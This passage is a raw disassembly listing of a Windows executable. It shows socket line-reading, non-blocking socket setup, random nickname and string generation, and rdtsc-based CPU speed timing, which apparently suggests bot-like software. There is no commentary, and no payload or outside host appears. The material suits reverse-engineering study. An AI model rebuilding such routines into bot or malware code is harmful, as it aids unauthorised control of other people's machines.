___:0041AC26j mov eax, [esp+1Ch] mov ebp, [esp+18h] xor esi, esi dec eax cmp eax, ebx mov [ebp+0], bl mov byte ptr [esp+18h], 1 jle short loc_41AC9D mov edi, ebp loc_41AC4B: ; CODE XREF: ___:0041AC9Bj cmp edi, ebx jz short loc_41AC9D cmp [esp+18h], bl jz short loc_41AC9D call sub_40195B test al, al jz short loc_41AC9D mov ecx, [esp+10h] push ebx push 1 push edi call sub_401960 test al, al jz short loc_41AC28 mov [esi+ebp+1], bl mov al, [edi] cmp al, 0Ah jz short loc_41AC7D cmp al, bl jnz short loc_41AC90 loc_41AC7D: ; CODE XREF: ___:0041AC77j cmp byte ptr [esi+ebp-1], 0Dh jnz short loc_41AC8A mov [esi+ebp-1], bl jmp short loc_41AC8C ; --------------------------------------------------------------------------- loc_41AC8A: ; CODE XREF: ___:0041AC82j mov [edi], bl loc_41AC8C: ; CODE XREF: ___:0041AC88j mov [esp+18h], bl loc_41AC90: ; CODE XREF: ___:0041AC7Bj mov ecx, [esp+1Ch] inc esi inc edi lea eax, [ecx-1] cmp esi, eax jl short loc_41AC4B loc_41AC9D: ; CODE XREF: ___:0041AC47j ; ___:0041AC4Dj ... mov edx, [esp+1Ch] pop edi pop esi mov al, 1 mov [edx+ebp-1], bl pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_41ACE0: ; CODE XREF: ___:00401082j push esi mov esi, ecx call sub_40195B test al, al jnz short loc_41ACF2 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41ACF2: ; CODE XREF: ___:0041ACEAj mov eax, [esi+806h] cmp eax, 0FFFFFFFFh jnz short loc_41AD03 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41AD03: ; CODE XREF: ___:0041ACFBj mov ecx, [esp+0Ch] mov edx, [esp+8] push ecx push edx push eax nop call near ptr 71AB951Eh pop esi retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41AD30 proc near ; CODE XREF: sub_401893j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx call sub_40195B test al, al jnz short loc_41AD42 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41AD42: ; CODE XREF: sub_41AD30+Aj mov eax, [esi+806h] cmp eax, 0FFFFFFFFh jnz short loc_41AD53 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41AD53: ; CODE XREF: sub_41AD30+1Bj mov ecx, [esp+4+arg_4] mov edx, [esp+4+arg_0] push ecx push edx push eax nop call near ptr 71AC0B50h pop esi retn 8 sub_41AD30 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AD80: ; CODE XREF: ___:00401C3Fj sub esp, 10Ch push esi mov esi, ecx xor ecx, ecx mov al, [esi+80Ch] cmp al, cl mov eax, [esi+806h] jnz short loc_41ADBF cmp eax, 0FFFFFFFFh jz short loc_41ADB5 cmp [esi+80Bh], cl jz short loc_41ADB5 mov eax, 1 pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41ADB5: ; CODE XREF: ___:0041AD9Ej ; ___:0041ADA6j xor eax, eax pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41ADBF: ; CODE XREF: ___:0041AD99j lea edx, [esp+4] mov [esp+10h], eax push edx lea edx, [esp+10h] push ecx push edx inc eax push ecx push eax mov dword ptr [esp+20h], 1 mov [esp+18h], ecx mov [esp+1Ch], ecx nop call near ptr 71AB2DC0h test eax, eax jnz short loc_41ADF5 xor al, al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41ADF5: ; CODE XREF: ___:0041ADE9j mov ecx, [esi+806h] lea eax, [esp+0Ch] push eax push ecx call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax setnz al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AE50: ; CODE XREF: ___:004016E5j sub esp, 10Ch push esi mov esi, ecx xor ecx, ecx cmp [esi+80Ch], cl jnz short loc_41AE6D xor al, al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41AE6D: ; CODE XREF: ___:0041AE61j mov eax, [esi+806h] lea edx, [esp+4] push edx lea edx, [esp+10h] mov [esp+14h], eax push edx push ecx inc eax push ecx push eax mov dword ptr [esp+20h], 1 mov [esp+18h], ecx mov [esp+1Ch], ecx nop call near ptr 71AB2DC0h test eax, eax jnz short loc_41AEA9 xor al, al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41AEA9: ; CODE XREF: ___:0041AE9Dj mov ecx, [esi+806h] lea eax, [esp+0Ch] push eax push ecx call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax setnz al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AEF0: ; CODE XREF: ___:0040173Aj push esi mov esi, [esp+8] push edi mov edi, ecx push 800h lea edx, [esi+6] mov ax, [edi+4] lea ecx, [edi+6] push ecx push edx mov [esi+4], ax nop call near ptr 77C47A90h xor al, al add esp, 0Ch mov dword ptr [esi+806h], 0FFFFFFFFh mov [esi+80Ch], al mov [esi+80Bh], al mov al, [edi+80Dh] mov [esi+80Dh], al pop edi pop esi retn 4 ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41AF60 proc near ; CODE XREF: sub_4018BBj arg_0 = dword ptr 4 mov al, byte ptr [esp+arg_0] test al, al mov [ecx+80Ch], al jz short loc_41AF90 mov ecx, [ecx+806h] lea eax, [esp+arg_0] push eax push 8004667Eh push ecx mov [esp+0Ch+arg_0], 1 nop call near ptr 71AB4519h retn 4 ; --------------------------------------------------------------------------- loc_41AF90: ; CODE XREF: sub_41AF60+Cj mov eax, [ecx+806h] lea edx, [esp+arg_0] push edx push 8004667Eh push eax mov [esp+0Ch+arg_0], 0 nop call near ptr 71AB4519h retn 4 sub_41AF60 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41AFE0 proc near ; CODE XREF: sub_401186j push esi mov esi, ecx push 0 lea ecx, [esi+4] call sub_401C35 mov dword ptr [esi], offset off_43E0C0 mov eax, esi pop esi retn sub_41AFE0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B010 proc near ; CODE XREF: ___:00401915j sub_401E74j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_40186B test [esp+4+arg_0], 1 jz short loc_41B028 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_41B028: ; CODE XREF: sub_41B010+Dj mov eax, esi pop esi retn 4 sub_41B010 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B040 proc near ; CODE XREF: sub_40186Bj mov dword ptr [ecx], offset off_43E0C0 add ecx, 4 jmp sub_401FC8 sub_41B040 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B060 proc near ; CODE XREF: sub_401636j arg_0 = dword ptr 4 push esi push edi call sub_40195B test al, al jnz short loc_41B072 pop edi xor eax, eax pop esi retn 4 ; --------------------------------------------------------------------------- loc_41B072: ; CODE XREF: sub_41B060+9j mov esi, [esp+8+arg_0] push esi nop call near ptr 71AB2BF4h cmp eax, 0FFFFFFFFh jnz short loc_41B0C5 push esi nop call near ptr 71AB4FD4h mov edi, eax test edi, edi jnz short loc_41B097 pop edi or eax, 0FFFFFFFFh pop esi retn 4 ; --------------------------------------------------------------------------- loc_41B097: ; CODE XREF: sub_41B060+2Dj mov eax, [edi+0Ch] xor esi, esi cmp dword ptr [eax], 0 jz short loc_41B0AC loc_41B0A1: ; CODE XREF: sub_41B060+4Aj mov ecx, [eax+4] add eax, 4 inc esi test ecx, ecx jnz short loc_41B0A1 loc_41B0AC: ; CODE XREF: sub_41B060+3Fj call sub_401EEC dec esi push esi push 0 call sub_4021A3 ; --------------------------------------------------------------------------- mov ecx, [edi+0Ch] add esp, 8 mov edx, [ecx+eax*4] mov eax, [edx] loc_41B0C5: ; CODE XREF: sub_41B060+20j pop edi pop esi retn 4 sub_41B060 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B0F0: ; CODE XREF: ___:00402095j push 0FFFFFFFFh push offset loc_43AD07 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 38h push ebx push esi xor ebx, ebx push edi mov [esp+0Ch], ebx call sub_40195B test al, al jnz short loc_41B12F mov eax, [esp+58h] mov esi, [esp+54h] push eax mov ecx, esi call sub_401861 jmp loc_41B2DB ; --------------------------------------------------------------------------- loc_41B12F: ; CODE XREF: ___:0041B118j mov ecx, [esp+58h] push ecx lea ecx, [esp+30h] call sub_401861 mov edi, 1 lea ecx, [esp+2Ch] mov [esp+4Ch], edi call sub_4017E4 test eax, eax push offset byte_446F70 jnz short loc_41B16C mov esi, [esp+58h] mov ecx, esi call sub_401861 mov [esp+0Ch], edi jmp loc_41B2CE ; --------------------------------------------------------------------------- loc_41B16C: ; CODE XREF: ___:0041B156j lea ecx, [esp+30h] call sub_4012EE test eax, eax push offset byte_446F70 jnz short loc_41B192 mov esi, [esp+58h] mov ecx, esi call sub_401861 mov [esp+0Ch], edi jmp loc_41B2CE ; --------------------------------------------------------------------------- loc_41B192: ; CODE XREF: ___:0041B17Cj lea ecx, [esp+18h] call sub_401861 lea edx, [esp+10h] push ebx push edx push ebx push ebx push 0Fh lea ecx, [esp+40h] mov byte ptr [esp+60h], 2 call sub_4017E4 push eax call sub_436FC6 ; --------------------------------------------------------------------------- cmp eax, ebx jz short loc_41B1D6 mov esi, [esp+54h] lea eax, [esp+14h] push eax mov ecx, esi call sub_4014C9 mov [esp+0Ch], edi jmp loc_41B2C0 ; --------------------------------------------------------------------------- loc_41B1D6: ; CODE XREF: ___:0041B1BBj mov edi, [esp+10h] mov esi, offset dword_443DD4 mov ecx, [edi] mov eax, [ecx+4] loc_41B1E4: ; CODE XREF: ___:0041B202j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_41B208 cmp cl, bl jz short loc_41B204 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_41B208 add eax, 2 add esi, 2 cmp cl, bl jnz short loc_41B1E4 loc_41B204: ; CODE XREF: ___:0041B1EEj xor eax, eax jmp short loc_41B20D ; --------------------------------------------------------------------------- loc_41B208: ; CODE XREF: ___:0041B1EAj ; ___:0041B1F8j sbb eax, eax sbb eax, 0FFFFFFFFh loc_41B20D: ; CODE XREF: ___:0041B206j cmp eax, ebx jz short loc_41B27B push ebp loc_41B212: ; CODE XREF: ___:0041B265j ; ___:0041B269j nop call near ptr 27F06DAh and eax, 0Fh cmp al, 8 jnz short loc_41B226 cmp word ptr [edi+8], 0Fh jz short loc_41B26B loc_41B226: ; CODE XREF: ___:0041B21Dj mov edi, [edi] mov ebp, [esp+14h] cmp edi, ebx jnz short loc_41B232 mov edi, ebp loc_41B232: ; CODE XREF: ___:0041B22Ej mov eax, [edi+4] mov esi, offset dword_443DD4 loc_41B23A: ; CODE XREF: ___:0041B258j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_41B25E cmp cl, bl jz short loc_41B25A mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_41B25E add eax, 2 add esi, 2 cmp cl, bl jnz short loc_41B23A loc_41B25A: ; CODE XREF: ___:0041B244j xor eax, eax jmp short loc_41B263 ; --------------------------------------------------------------------------- loc_41B25E: ; CODE XREF: ___:0041B240j ; ___:0041B24Ej sbb eax, eax sbb eax, 0FFFFFFFFh loc_41B263: ; CODE XREF: ___:0041B25Cj cmp eax, ebx jnz short loc_41B212 mov edi, ebp jmp short loc_41B212 ; --------------------------------------------------------------------------- loc_41B26B: ; CODE XREF: ___:0041B224j mov eax, [edi+18h] lea ecx, [esp+18h] push eax call sub_4015D7 pop ebp jmp short loc_41B288 ; --------------------------------------------------------------------------- loc_41B27B: ; CODE XREF: ___:0041B20Fj mov ecx, [edi+18h] push ecx lea ecx, [esp+18h] call sub_4015D7 loc_41B288: ; CODE XREF: ___:0041B279j push offset byte_446F70 lea ecx, [esp+18h] call sub_4012EE test eax, eax jnz short loc_41B2A8 mov edx, [esp+58h] lea ecx, [esp+14h] push edx call sub_4015D7 loc_41B2A8: ; CODE XREF: ___:0041B298j mov esi, [esp+54h] lea eax, [esp+14h] push eax mov ecx, esi call sub_4014C9 mov dword ptr [esp+0Ch], 1 loc_41B2C0: ; CODE XREF: ___:0041B1D1j lea ecx, [esp+14h] mov byte ptr [esp+4Ch], 1 call sub_401226 loc_41B2CE: ; CODE XREF: ___:0041B167j ; ___:0041B18Dj lea ecx, [esp+2Ch] mov [esp+4Ch], bl call sub_401226 loc_41B2DB: ; CODE XREF: ___:0041B12Aj mov ecx, [esp+44h] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx add esp, 44h retn 8 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B390: ; CODE XREF: ___:00402135j push esi mov esi, ecx call sub_401E6A push 0 lea ecx, [esi+15h] call sub_401C35 mov dword ptr [esi], offset off_43E0C4 mov dword ptr [esi+11h], 0 mov dword ptr [esi+823h], 0 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B3D0 proc near ; CODE XREF: sub_4013FCj ___:00402018j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401BCC test [esp+4+arg_0], 1 jz short loc_41B3E8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_41B3E8: ; CODE XREF: sub_41B3D0+Dj mov eax, esi pop esi retn 4 sub_41B3D0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B400 proc near ; CODE XREF: sub_401BCCj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41B400 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401FC8 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_402031 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_41B400 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B470: ; CODE XREF: ___:00401D3Ej push esi mov esi, ecx call sub_401E6A push 0 lea ecx, [esi+15h] call sub_401C35 mov eax, [esp+8] mov ecx, [esp+0Ch] mov [esi+11h], eax mov dword ptr [esi], offset off_43E0C4 mov [esi+823h], ecx mov eax, esi pop esi retn 8 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B4B0 proc near ; CODE XREF: sub_40167Cj var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 14h push edi mov edi, ecx mov eax, [edi+11h] test eax, eax jz loc_41B5C0 mov ecx, [edi+823h] test ecx, ecx jz loc_41B5C0 push ebx push ebp lea ebx, [edi+15h] push esi push eax mov ecx, ebx xor esi, esi call sub_401488 mov ebp, dword_50F8D0 test al, al jnz short loc_41B513 loc_41B4E9: ; CODE XREF: sub_41B4B0+61j mov al, [edi+10h] test al, al jz loc_41B5AF mov al, byte_4E6E84 test al, al jz short loc_41B513 push 7D0h call ebp mov eax, [edi+11h] mov ecx, ebx push eax call sub_401488 test al, al jz short loc_41B4E9 loc_41B513: ; CODE XREF: sub_41B4B0+37j ; sub_41B4B0+4Bj mov al, [edi+10h] test al, al jz loc_41B5AF loc_41B51E: ; CODE XREF: sub_41B4B0+F9j mov al, byte_4E6E84 test al, al jz loc_41B5AF test esi, esi jnz short loc_41B54E push 80Eh call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jz short loc_41B54A push esi mov ecx, eax call sub_401C35 jmp short loc_41B54C ; --------------------------------------------------------------------------- loc_41B54A: ; CODE XREF: sub_41B4B0+8Ej xor eax, eax loc_41B54C: ; CODE XREF: sub_41B4B0+98j mov esi, eax loc_41B54E: ; CODE XREF: sub_41B4B0+7Dj push 0 push 0 push esi mov ecx, ebx call sub_401B81 test al, al jnz short loc_41B567 push 7D0h call ebp jmp short loc_41B5A4 ; --------------------------------------------------------------------------- loc_41B567: ; CODE XREF: sub_41B4B0+ACj xor ecx, ecx lea edx, [esp+24h+var_14] mov [esp+24h+var_10], ecx lea eax, [esp+24h+var_10] mov [esp+24h+var_C], ecx push edx mov [esp+28h+var_8], ecx push eax mov [esp+2Ch+var_4], ecx mov ecx, esi mov [esp+2Ch+var_14], 10h call sub_401893 mov al, byte ptr [esp+24h+var_C] test al, al jz short loc_41B5A4 push esi call dword ptr [edi+823h] add esp, 4 loc_41B5A4: ; CODE XREF: sub_41B4B0+B5j ; sub_41B4B0+E8j mov al, [edi+10h] test al, al jnz loc_41B51E loc_41B5AF: ; CODE XREF: sub_41B4B0+3Ej ; sub_41B4B0+68j ... mov ecx, ebx call sub_4014DD pop esi pop ebp pop ebx xor eax, eax pop edi add esp, 14h retn ; --------------------------------------------------------------------------- loc_41B5C0: ; CODE XREF: sub_41B4B0+Bj ; sub_41B4B0+19j xor eax, eax pop edi add esp, 14h retn sub_41B4B0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B620: ; CODE XREF: ___:00401C21j mov eax, [esp+0Ch] push ebx push ebp mov ebp, [esp+10h] push esi push edi xor ebx, ebx xor edi, edi dec eax mov [ebp+0], bl cmp eax, ebx mov byte ptr [esp+18h], 1 jle short loc_41B695 mov esi, ebp loc_41B63F: ; CODE XREF: ___:0041B693j cmp esi, ebx jz short loc_41B695 cmp [esp+18h], bl jz short loc_41B695 mov ecx, [esp+14h] push ebx push 1 push esi push ecx call near ptr 71AB615Ah nop cmp eax, ebx jz short loc_41B6A4 cmp eax, 0FFFFFFFFh jz short loc_41B6A4 nop call near ptr 71AB94DCh cmp eax, 2733h jz short loc_41B69D mov [edi+ebp+1], bl mov al, [esi] cmp al, 0Ah jz short loc_41B680 cmp al, 0Dh jz short loc_41B680 cmp al, bl jnz short loc_41B688 loc_41B680: ; CODE XREF: ___:0041B676j ; ___:0041B67Aj mov [edi+ebp-1], bl mov [esp+18h], bl loc_41B688: ; CODE XREF: ___:0041B67Ej mov edx, [esp+1Ch] inc edi inc esi lea eax, [edx-1] cmp edi, eax jl short loc_41B63F loc_41B695: ; CODE XREF: ___:0041B63Bj ; ___:0041B641j ... mov eax, [esp+1Ch] mov [eax+ebp-1], bl loc_41B69D: ; CODE XREF: ___:0041B66Cj pop edi pop esi pop ebp mov al, 1 pop ebx retn ; --------------------------------------------------------------------------- loc_41B6A4: ; CODE XREF: ___:0041B65Aj ; ___:0041B65Fj pop edi pop esi pop ebp xor al, al pop ebx retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B6E0 proc near ; CODE XREF: sub_401280j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] push ebx push ebp mov ebp, [esp+8+arg_4] push esi xor ebx, ebx xor esi, esi dec eax cmp eax, ebx push edi mov [ebp+0], bl mov byte ptr [esp+10h+arg_4], 1 jle short loc_41B74A mov edi, ebp loc_41B6FF: ; CODE XREF: sub_41B6E0+68j cmp edi, ebx jz short loc_41B74A cmp byte ptr [esp+10h+arg_4], bl jz short loc_41B74A mov ecx, [esp+10h+arg_0] push ebx push 1 push edi push ecx nop call near ptr 71AB615Ah test eax, eax jz short loc_41B759 mov [esi+ebp+1], bl mov al, [edi] cmp al, 0Ah jz short loc_41B72A cmp al, bl jnz short loc_41B73D loc_41B72A: ; CODE XREF: sub_41B6E0+44j cmp byte ptr [esi+ebp-1], 0Dh jnz short loc_41B737 mov [esi+ebp-1], bl jmp short loc_41B739 ; --------------------------------------------------------------------------- loc_41B737: ; CODE XREF: sub_41B6E0+4Fj mov [edi], bl loc_41B739: ; CODE XREF: sub_41B6E0+55j mov byte ptr [esp+10h+arg_4], bl loc_41B73D: ; CODE XREF: sub_41B6E0+48j mov edx, [esp+10h+arg_8] inc esi inc edi lea eax, [edx-1] cmp esi, eax jl short loc_41B6FF loc_41B74A: ; CODE XREF: sub_41B6E0+1Bj ; sub_41B6E0+21j ... mov eax, [esp+10h+arg_8] pop edi pop esi mov [eax+ebp-1], bl pop ebp mov al, 1 pop ebx retn ; --------------------------------------------------------------------------- loc_41B759: ; CODE XREF: sub_41B6E0+3Aj pop edi pop esi pop ebp xor al, al pop ebx retn sub_41B6E0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B780: ; CODE XREF: ___:00401ADCj push ebx mov ebx, [esp+8] push ebp mov ebp, [esp+10h] mov ecx, ebp push esi mov edx, ecx push edi xor eax, eax mov edi, ebx shr ecx, 2 rep stosd mov ecx, edx xor esi, esi and ecx, 3 test ebp, ebp rep stosb jle short loc_41B7DB loc_41B7A6: ; CODE XREF: ___:0041B7D9j push 3 push 1 call sub_4021A3 ; --------------------------------------------------------------------------- add esp, 8 dec eax jz short loc_41B7C7 dec eax jz short loc_41B7C1 dec eax jnz short loc_41B7D6 push 7Ah push 61h jmp short loc_41B7CB ; --------------------------------------------------------------------------- loc_41B7C1: ; CODE XREF: ___:0041B7B6j push 5Ah push 41h jmp short loc_41B7CB ; --------------------------------------------------------------------------- loc_41B7C7: ; CODE XREF: ___:0041B7B3j push 39h push 30h loc_41B7CB: ; CODE XREF: ___:0041B7BFj ; ___:0041B7C5j call sub_4021A3 ; --------------------------------------------------------------------------- add esp, 8 mov [esi+ebx], al loc_41B7D6: ; CODE XREF: ___:0041B7B9j inc esi cmp esi, ebp jl short loc_41B7A6 loc_41B7DB: ; CODE XREF: ___:0041B7A4j pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B800 proc near ; CODE XREF: sub_40141Aj rdtsc retn sub_41B800 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B820 proc near ; CODE XREF: sub_4017F3j var_4 = dword ptr -4 sub esp, 8 push ebx mov ebx, dword_50F8D0 push ebp push esi push edi xor ebp, ebp loc_41B82F: ; CODE XREF: sub_41B820+43j ; sub_41B820+4Dj call sub_40141A push 3E8h mov esi, eax mov edi, edx call ebx call sub_40141A sub eax, esi push ebp sbb edx, edi push 186A0h push edx push eax call sub_436970 push ebp push 0Ah push edx push eax call sub_436970 cmp edx, ebp mov esi, eax ja short loc_41B82F jb short loc_41B86F cmp esi, 0F4240h ja short loc_41B82F loc_41B86F: ; CODE XREF: sub_41B820+45j push ebp push 64h push edx push esi call sub_4368F0 mov ecx, eax cmp edx, ebp mov eax, 64h mov [esp+18h+var_4], ebp ja short loc_41B8F9 jb short loc_41B88F cmp ecx, 50h jnb short loc_41B898 loc_41B88F: ; CODE XREF: sub_41B820+68j mov eax, 4Bh mov [esp+18h+var_4], ebp loc_41B898: ; CODE XREF: sub_41B820+6Dj cmp edx, ebp ja short loc_41B8F9 jb short loc_41B8A3 cmp ecx, 47h jnb short loc_41B8AC loc_41B8A3: ; CODE XREF: sub_41B820+7Cj mov eax, 42h mov [esp+18h+var_4], ebp loc_41B8AC: ; CODE XREF: sub_41B820+81j cmp edx, ebp ja short loc_41B8F9 jb short loc_41B8B7 cmp ecx, 37h jnb short loc_41B8C0 loc_41B8B7: ; CODE XREF: sub_41B820+90j mov eax, 32h mov [esp+18h+var_4], ebp loc_41B8C0: ; CODE XREF: sub_41B820+95j cmp edx, ebp ja short loc_41B8F9 jb short loc_41B8CB cmp ecx, 26h jnb short loc_41B8D4 loc_41B8CB: ; CODE XREF: sub_41B820+A4j mov eax, 21h mov [esp+18h+var_4], ebp loc_41B8D4: ; CODE XREF: sub_41B820+A9j cmp edx, ebp ja short loc_41B8F9 jb short loc_41B8DF cmp ecx, 1Eh jnb short loc_41B8E8 loc_41B8DF: ; CODE XREF: sub_41B820+B8j mov eax, 19h mov [esp+18h+var_4], ebp loc_41B8E8: ; CODE XREF: sub_41B820+BDj cmp edx, ebp ja short loc_41B8F9 jb short loc_41B8F3 cmp ecx, 0Ah jnb short loc_41B8F9 loc_41B8F3: ; CODE XREF: sub_41B820+CCj xor eax, eax mov [esp+18h+var_4], ebp loc_41B8F9: ; CODE XREF: sub_41B820+66j ; sub_41B820+7Aj ... sub eax, ecx pop edi add eax, esi pop esi pop ebp pop ebx add esp, 8 retn sub_41B820 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B950 proc near ; CODE XREF: sub_402022j var_40 = dword ptr -40h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_41B950 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 34h mov al, byte_447769 push ebx push esi push edi test al, al mov [esp+4Ch+var_40], 0 jz loc_41BAAF push ebp lea ecx, [esp+50h+var_3C] call sub_401424 push 400h lea ecx, [esp+54h+var_3C] mov [esp+54h+var_4], 1 xor bl, bl call sub_401C5D mov ebp, eax call sub_401EEC lea ecx, [esp+50h+var_3C] call sub_4013D9 mov [esp+50h+arg_4], eax lea eax, [esp+50h+arg_4] push eax push ebp nop call near ptr 28010A7h test eax, eax jnz short loc_41B9E6 mov edi, offset byte_446F70 or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx mov edx, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb loc_41B9E6: ; CODE XREF: sub_41B950+74j movsx ecx, byte ptr [ebp+0] mov eax, 41h loc_41B9EF: ; CODE XREF: sub_41B950+A9j cmp ecx, eax jnz short loc_41B9F5 mov bl, 1 loc_41B9F5: ; CODE XREF: sub_41B950+A1j inc eax cmp eax, 5Bh jl short loc_41B9EF mov eax, 61h loc_41BA00: ; CODE XREF: sub_41B950+BAj cmp ecx, eax jnz short loc_41BA06 mov bl, 1 loc_41BA06: ; CODE XREF: sub_41B950+B2j inc eax cmp eax, 7Bh jl short loc_41BA00 test bl, bl jnz short loc_41BA32 mov edi, offset byte_446F70 or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_41BA32: ; CODE XREF: sub_41B950+BEj mov esi, dword_50FABC call esi ; rand cdq mov ecx, 0Ah idiv ecx lea ecx, [esp+50h+var_3C] push edx call sub_401140 call esi ; rand cdq mov ecx, 0Ah idiv ecx lea ecx, [esp+50h+var_3C] push edx call sub_401140 call esi ; rand cdq mov ecx, 0Ah idiv ecx lea ecx, [esp+50h+var_3C] push edx call sub_401140 mov esi, [esp+50h+arg_0] lea edx, [esp+50h+var_3C] push edx mov ecx, esi call sub_4014C9 mov [esp+50h+var_40], 1 lea ecx, [esp+50h+var_3C] mov byte ptr [esp+50h+var_4], 0 call sub_401226 pop ebp mov eax, esi pop edi pop esi pop ebx mov ecx, [esp+40h+var_C] mov large fs:0, ecx add esp, 40h retn ; --------------------------------------------------------------------------- loc_41BAAF: ; CODE XREF: sub_41B950+2Aj lea ecx, [esp+4Ch+var_24] call sub_401424 mov ebx, 2 mov [esp+4Ch+var_4], ebx call near ptr 27F06DAh nop push eax nop call near ptr 77C371BCh mov edi, dword_50FABC add esp, 4 call edi ; rand cdq mov ecx, 3 idiv ecx lea ecx, [esp+4Ch+var_24] mov esi, edx mov edx, [esp+4Ch+arg_4] push edx add esi, 6 call sub_4015D7 test esi, esi jle short loc_41BB4E loc_41BAF8: ; CODE XREF: sub_41B950+1FCj lea ecx, [esp+4Ch+var_3C] call sub_401424 lea eax, [esp+4Ch+var_24] lea ecx, [esp+4Ch+var_3C] push eax mov byte ptr [esp+50h+var_4], 3 call sub_401FBE call edi ; rand cdq mov ecx, 1Ah idiv ecx lea ecx, [esp+4Ch+var_3C] add edx, 61h push edx call sub_4017E4 push eax lea edx, [esp+54h+var_24] push offset dword_443E84 push edx call sub_40102D add esp, 10h lea ecx, [esp+4Ch+var_3C] mov byte ptr [esp+4Ch+var_4], bl call sub_401226 dec esi jnz short loc_41BAF8 loc_41BB4E: ; CODE XREF: sub_41B950+1A6j mov esi, [esp+4Ch+arg_0] lea eax, [esp+4Ch+var_24] push eax mov ecx, esi call sub_4014C9 lea ecx, [esp+4Ch+var_24] mov [esp+4Ch+var_40], 1 mov byte ptr [esp+4Ch+var_4], 0 call sub_401226 mov ecx, [esp+4Ch+var_C] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx add esp, 40h retn sub_41B950 